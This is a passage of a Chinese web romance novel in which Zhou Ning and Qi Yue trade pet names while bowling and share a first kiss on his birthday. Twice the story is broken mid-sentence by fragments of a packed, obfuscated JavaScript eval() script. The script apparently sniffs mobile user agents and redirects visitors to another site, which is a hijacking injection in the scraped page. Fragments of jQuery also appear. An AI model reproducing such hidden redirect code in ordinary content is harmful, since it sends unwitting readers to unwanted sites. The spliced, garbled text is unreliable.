祁越笑,“女朋友的愿望,必须当场满足。” 周柠没在线下打过保龄球,对这项运动为数不多的接触大概就是《植物大战僵尸》里的坚果保龄球游戏,所以最开始总打偏。但她学得很快,某祁姓教练示范过几次后,就青出于蓝而胜于蓝了。 馆内开了暖气,她打球打得气喘吁吁,运动起来后容易放空,早就把换称呼的事抛到九霄云外了。 这时祁越忽然像幽灵似的飘到她身后,俯身凑到她耳边幽幽道:“宝宝好棒啊~这么快就学会了~” 周柠:愣住.jpg 祁越继续低声说:“保龄球这么难宝宝都学会了,喊人这么容易应该也能很快学会吧~” 滚烫的灼烧感从耳廓朝四面八方蔓延,周柠感觉整颗头都在烧。 “啊……”她丢下球捂住脸。 祁越憋着笑,“宝宝怎么不说话?” “你早就发现了。”她扭头,从指缝里挤出眼睛观察祁越表情。 “嗯哼。”祁越不否认,“因为你的宝宝火眼金睛。” 他接着又很遗憾道:“可惜我的宝宝是个哑巴。” 周柠:啊啊啊好想让他闭嘴。 到底是谁发明这个词,哄得她团团转。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989090|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >于是她只好硬着头皮让祁越把头低一点,然后凑到他耳边,说出了那两个字。 虽然祁越是只狐狸,但被这样称呼后貌似也没比她好到哪里去。至少她能很明显地看到,祁越的耳廓在发红。 两人面对面笑起来。 祁越轻咳两声缓解气氛,“还打球吗?” 周柠:“没力气打了。” 祁越笑着过来牵她手,“走吧宝宝,去约个会补充能量。” 不管怎么说,换称呼项目顺利竣工,其他项目也将陆续提上日程。 回来时夜色已深,玩得太累周柠一进屋就瘫在沙发上休息,椰子跑过来在她脚边蹭。沙发很大,但祁越却很自然地在她旁边坐下,两人几乎依偎在一起。 此刻无事可做,周柠望着落地窗外的城市夜景发呆,祁越抽空用手机处理公司事务,椰子趴在地毯上慢慢地摇尾巴,没有人说话,房间隔音很好,一时安静至极,几乎能听到两人此起彼伏,不急不缓的呼吸声。 发呆的时候思绪容易发散,周柠猛然想起件事。 “祁越。”她喊。 祁越:“嗯?” 周柠:“你好像还有句悄悄话没跟我说。” 祁越微怔,瞬间放下手机,将周柠整个揽入怀中,嘴唇贴在耳边戏谑地低声问:“想听哪句悄悄话?” 周柠扭了扭身体,等祁越松开,她稍微能喘口气的时候,打开手机微信,一路往上翻历史信息,最后点开一条消息。 ——“周柠,你可以慢慢想,我这人最不缺的就是对你的耐心。不用怕我半路出走,老巢都被你霸占着,我还能跑去哪儿?但如果是你想玩忽职守,放弃捉拿送上门的逃犯的话,我就……” 语音中的男声慵懒而狡猾,十分气定神闲地对她威逼利诱。 情侣恋爱通常会分为很多个阶段,一起回味上一个阶段在两人间发生的事会变得非常有趣。 比如现在,祁越已经失去表情管理,微微泛红的脸和为了掩饰紧张而上扬的嘴角足以看出他有些不自在。 “你就怎么?”周柠仰头问,“那个时候你跟我说是悄悄话,要贴在耳边说,结果直到现在也没说。” 祁越沉沉地呼出一口气,“如果你真的要放弃我的话,我就……” 在说这句话时,原本狡黠的语气仿佛也在一瞬间变得悲伤了。 “把我关进小黑屋,挥小皮鞭逼我就范。”周柠忍不住开玩笑,“你不会做那么极端的事吧?” “不知道呢,”祁越看她一眼,“毕竟我没什么素质。” 周柠点头,“确实。” “虽然没素质,但不会做非法监禁这种事。宝宝,我很温柔的。”祁越皮笑肉不笑,“最多想方设法切断你周围一切桃花,然后当你某天寂寞难耐想谈个恋爱的时候,回头一看才发现——” 他忽然顿住,盯住她的眼睛,缓缓吐出三个字,“只、有、我。” 虽然知道祁越在演,但周柠也惊讶于祁越那过于逼真的演技。一时竟有些犯怵。 “哇,你好可怕。”周柠挣扎着站起身,作势往外跑,“我得赶紧开始逃命了。” 往哪里跑呢?刚起身步子还没迈出去便被拦腰堵截。 腰间被环绕的一股力量拉下,周柠陷进柔软的沙发中,刹那间天旋地转,等反应过来时,祁越正抱着她,脸埋在肩窝中,缓缓地呼出热气。 周柠对情绪的感知向来敏感,立刻捕捉到不对劲。 “周柠,”祁越忽然喊她名字,声音低哑。 “其实我不知道。” 他接着说,“我不知道那种情况该拿你怎么办。” 祁越居然也会露出这样无措脆弱的一面,这完全超出周柠的固有认知。 大脑严重过载,周柠僵在原处。感觉到祁越抱她抱得更紧,用力得像是要将她揉进身体,思绪万千起伏,鼻头一阵酸软。 祁越真的会喜欢她很久很久,没有期限的那种久。 那时表现出的泰然自若不过是强行伪装,其实内心早已兵荒马乱 29. chapter(29) 一月十九日,周柠决定给祁越过生日。 祁越老板当得比她这个员工称职,她下班了,他还没有。 走出写字楼,冷空气拂面。周柠将拿在手里的围巾围在脖子上,然后打开聊天框编辑消息。 【祁总,今年生日有什么安排吗?】 半分钟后,对面给出答复。 【暂时不清楚,得打电话问问我老婆。】 于是看完消息下一秒,就收到祁越打来的微信电话。 周柠唇角不由自主地开始上扬,点击接听,“喂~?” 祁越:“今天我生日,打算怎么安排?” 周柠:“取决于你想两人约会还是团队聚餐。” 祁越懒洋洋地说:“我比较想你。” 周柠:“那约个会?” 祁越:“单纯约会吗?宝贝应该会给我准备惊喜吧?” 周柠:“包的。” 挂断电话,周柠的手机又收到祁越发送过来三条消息。 【已经问完我老婆了。】 【她说迫不及待地要跟我过二人世界。】 【还准备了巨大的惊喜^-^】 与此同时,祁越的手机里也弹出消息。狐朋狗友们纷纷控诉他见色忘友。 祁越笑着回复一条语音,“嫉妒乃人之常情,我能理解。” 朋友1:【嫉妒个p,我们可没有九年爱而不得,好不容易才把女生追到手的经历。】 朋友2:【哎,你这么有恒心,难怪做什么都会成功。】 朋友3:【她肯定是受不了你骚扰,才勉强答应的。】 祁越:【……】 祁越:【重审一遍,是她追的我。】 祁越:【再强调一遍,是她先开口问,要不要做她的男朋友。】 最后,祁越点开语音键,欠嗖嗖地说:“再见,朋友们。忙完工作我要回家接受女朋友精心准备的礼物了,不像某些人,下班只能去酒吧找消遣。” 朋友1:【好贱,受不了了,来个人滋醒他。】 朋友2:【好贱,受不了了,来个人滋醒他。】 朋友3:【好贱,受不了了,来个人滋醒他。】 …… 在过去的许多年中,比起给自己过生日,周柠更喜欢给别人过生日。既避免了因为焦点在自己身上而产生的尴尬,还能通过共情对方的喜悦来弥补自己鲜少收到的惊喜。 但两个人过生日是不一样的,没有其他旁观者,两个人都是主角。 在封闭的空间中,窗帘拉着,灯也关了,只有一支生日蜡烛散发微弱的火光。他们坐在一起,触觉、嗅觉、听觉、视觉,全身上下每一个细胞,都在感知对方传递过来的磁场。 “过来和我一起吹蜡烛。”祁越说。 周柠凑过去,两人用力一吹,唯一的火光熄灭了,房间内漆黑一片。 想过吹灭蜡烛后会有些黑,但没想到窗帘遮光效果太好,城市繁华的灯火根本无法穿透,直接伸手不见五指。 “我去开灯。”周柠说。 但还没来得及起身,后脑勺忽然被按住,腰间一紧,身体便不由自主倾斜。下一秒,两片温热柔软的嘴唇落在她的唇上,堵住她想要发出的所有声音。 感官在黑暗中变得更加敏锐,可思绪却在亲吻中越发迟钝。 屋里空调热气开得太足,周柠觉得有些热了。 两片嘴唇不餍足于只在唇瓣辗转,遂撬开贝齿,试探着在她紧张的舌尖轻轻舔舐,见她没有瑟缩,便笑着加深了这个吻。 封印许久的味觉在此刻发挥作用。 周柠尝到股淡淡的葡萄味,因此推测祁越在谋划着亲吻她之前,大概吃了口香爆珠。 她喜欢葡萄,被柔软的唇舌勾引着,不断回应。 安静的屋内一时充斥着闷哼和吮吸的水声。 这次是初吻,毫无技巧,只有青涩但热烈的感情。 周柠不会换气,肺活量也不高,所以亲一会儿就必须把祁越推开,否则非得窒息不可。 祁越有足够的耐心,等她把气喘匀了,再拉回来继续。 初吻是美妙的,漆黑的空间里,触摸着对方,依赖着对方,品尝着对方,如两股流水交汇,融为一体。 周柠感觉身体要融化了,如果再不停止,就会软成一滩水。 所以这次分开她捂住嘴说:“中场休息。” “好。”祁越捏了捏她的脸,起身去开灯。 黑暗瞬间转变为明亮。 周柠揉了揉有些发烫的脸,在心里对自己说,没必要害羞,多大点事,你现在是一个优雅成熟的成年女性,要淡定。 于是她淡定地看向祁越,“切蛋糕吧。” 祁越盯着她看了三秒,唇角上扬,终是没忍心拆穿。 蛋糕是周柠特地定制的,刚好够两个人吃。 “生日快乐!”周柠将蛋糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对,我道心不稳,应该中不了状元了。” 说完,周柠便低头亲吻他的嘴唇,很不客气地用虎齿轻轻撕咬。 她学什么都很快,一回生,二回熟,这次她已经学会换气了。 祁越掐住她的腰往下拉,攻式反转,按住她的后脑勺深深回吻。 周柠大脑一片空白,只剩下被情.欲点燃的,欲燃愈烈的火焰。 迷迷糊糊间,听到祁越贴在她耳边说,“宝贝,不用特意准备,你本身就是个惊喜。” 冬天不是生产葡萄的季节,但在这个冬夜,她吃了好多好多葡萄味的热吻。